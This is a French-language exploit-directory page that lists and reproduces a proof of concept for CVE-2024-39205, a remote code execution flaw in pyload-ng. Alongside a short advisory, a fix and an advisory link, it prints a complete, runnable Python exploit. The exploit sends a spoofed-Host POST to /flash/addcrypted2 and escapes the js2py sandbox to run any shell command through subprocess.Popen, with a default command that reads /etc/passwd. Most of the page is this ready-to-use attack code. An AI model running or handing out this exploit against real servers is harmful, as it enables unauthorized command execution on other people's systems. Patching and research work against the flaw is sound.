Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-39205-Pyload-RCE — Pyload RCE with js2py sandbox escape | Kitploit
Outils/GitHubGitHub/marven11/cve-2024-39205-pyload-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubmarven11/cve-2024-39205-pyload-rce

CVE-2024-39205-Pyload-RCE

Pyload RCE with js2py sandbox escape

Voir le dépôt
183il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-39205-Pyload-RCE

Pyload RCE avec évasion de sandbox js2py

Résumé

Toute instance de pyload-ng tournant sous Python 3.11 ou inférieure est vulnérable à une RCE. Un attaquant peut envoyer une requête contenant n'importe quelle commande shell et le serveur victime l'exécutera immédiatement.

Correctif

Mettez à jour vers la dernière version de pyload-ng ou exécutez simplement pyload avec Python 3.12 ou supérieur.

Détails

js2py présente une vulnérabilité d'évasion de sandbox référencée sous CVE-2024-28397, qui est utilisée par le point de terminaison /flash/addcrypted2 de pyload-ng. Bien que ce point de terminaison soit conçu pour n'accepter que les connexions en localhost, il est possible de contourner cette restriction en utilisant un en-tête HTTP, accédant ainsi à cette API et réalisant une RCE.

PoC

Le PoC est fourni ci-dessous ; vous pouvez modifier la commande shell qu'il exécute :

root@kitploit:~
import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


Impact

Toute personne exécutant la dernière version (<=0.5.0b3.dev85) de pyload-ng sous Python 3.11 ou inférieure. pyload-ng n'utilise pas js2py pour Python 3.12 ou supérieur.

Liens

https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g

Télécharger l’outil